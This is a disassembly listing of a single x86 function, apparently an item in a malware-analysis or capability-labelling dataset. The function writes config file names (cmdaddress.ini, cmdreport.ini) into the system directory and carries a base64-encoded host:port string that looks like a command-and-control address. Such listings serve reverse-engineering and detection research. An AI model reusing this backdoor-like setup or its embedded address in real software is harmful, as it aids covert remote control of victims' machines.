Function at 0x403382
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bf49
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x7f8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x804], ecx
lea ecx, [ebp - 0x444]
call fcn.0040ae70
mov dword [ebp - 4], 0
mov dword [ebp - 0x660], 0x40f0c8
mov dword [ebp - 0x65c], str.ZmVjdXJlLmluZm86NDQzOjE
mov dword [ebp - 0x668], 2
lea ecx, [ebp - 0x18]
call fcn.00401000
mov byte [ebp - 4], 1
push 0x100
lea eax, [ebp - 0x654]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x654]
push ecx
mov edx, dword [ebp - 0x804]
add edx, 0x20
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x654]
push eax
mov ecx, dword [ebp - 0x804]
add ecx, 0x120
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push str.cmdaddress.ini
mov edx, dword [ebp - 0x804]
add edx, 0x20
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.cmdreport.ini
mov eax, dword [ebp - 0x804]
add eax, 0x120
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
mov ecx, dword [ebp - 0x804]
add ecx, 0x400
push ecx
lea ecx, [ebp - 0x444]
call fcn.0040aeab
mov ecx, dword [ebp - 0x804]
add ecx, 0x238
call fcn.00404e40
mov edx, dword [ebp - 0x804]
mov dword [edx + 4], 0x1f4
mov eax, dword [ebp - 0x804]
mov dword [eax + 8], 0x32
mov ecx, dword [ebp - 0x804]
mov dword [ecx + 0x14], 0
mov edx, dword [ebp - 0x804]
mov dword [edx + 0x18], 0
mov eax, dword [ebp - 0x804]
mov byte [eax + 0xb3c], 0
mov ecx, dword [ebp - 0x804]
mov byte [ecx + 0xb3d], 0
mov edx, dword [ebp - 0x804]
mov dword [edx + 0xb40], 0xffffffff
push 0
mov eax, dword [ebp - 0x804]
push eax
push 0
push str.hello_
push 0x40f838
push 0x40f128
mov ecx, dword [ebp - 0x804]
add ecx, 0x9b4
push ecx
mov ecx, dword [0x40fb54]
call fcn.00406339
mov edi, dword [ebp - 0x804]
add edi, 0x828
push 0
push 1
push 0x1f91
lea edx, [ebp - 0x7f4]
push edx
mov ecx, dword [ebp - 0x804]
call fcn.00404ace
mov esi, eax
mov ecx, 0x63
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x804]
mov dword [eax + 0x8b0], 0
mov dword [ebp - 0x5d4], 0
jmp 0x403574
mov ecx, dword [ebp - 0x5d4]
add ecx, 1
mov dword [ebp - 0x5d4], ecx
mov edx, dword [ebp - 0x804]
mov eax, dword [ebp - 0x5d4]
cmp eax, dword [edx + 8]
jge 0x40364a
mov ecx, dword [ebp - 0x5d4]
cmp ecx, dword [ebp - 0x668]
jge 0x40364a
mov edx, dword [ebp - 0x5d4]
mov eax, dword [ebp + edx*4 - 0x660]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
shl ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x7f8], eax
mov eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x658], eax
mov ecx, dword [ebp - 0x658]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x5d4]
mov ecx, dword [ebp + eax*4 - 0x660]
push ecx
lea ecx, [ebp - 0x18]
call fcn.004011a3
lea edx, [ebp - 0x5d0]
push edx
mov eax, dword [ebp - 0x658]
push eax
mov ecx, dword [ebp - 0x804]
call fcn.00404771
and eax, 0xff
test eax, eax
je 0x40363d
sub esp, 0x18c
mov ecx, 0x63
lea esi, [ebp - 0x5d0]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x804]
call fcn.00403c41
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403565
mov ecx, dword [ebp - 0x804]
mov byte [ecx + 0xb3d], 1
mov edx, dword [ebp - 0x804]
add edx, 0x20
push edx
mov ecx, dword [ebp - 0x804]
call fcn.00403a1c
mov eax, dword [ebp - 0x804]
mov byte [eax + 0xb3d], 0
push 0x2c
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x800], eax
mov byte [ebp - 4], 2
cmp dword [ebp - 0x800], 0
je 0x4036a9
mov ecx, dword [ebp - 0x800]
call fcn.00402f21
mov dword [ebp - 0x808], eax
jmp 0x4036b3
mov dword [ebp - 0x808], 0
mov ecx, dword [ebp - 0x808]
mov dword [ebp - 0x7fc], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x7fc]
mov dword [ebp - 0x664], edx
mov eax, dword [ebp - 0x804]
push eax
mov ecx, dword [ebp - 0x664]
call fcn.00402f5c
mov byte [ebp - 4], 3
push 0
push 0
push 1
mov ecx, dword [ebp - 0x664]
call fcn.00407a6c
mov ecx, dword [ebp - 0x804]
mov byte [ecx + 0xb3d], 1
jmp 0x40372b
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.0040100e
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x444]
call fcn.0040ae8f
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret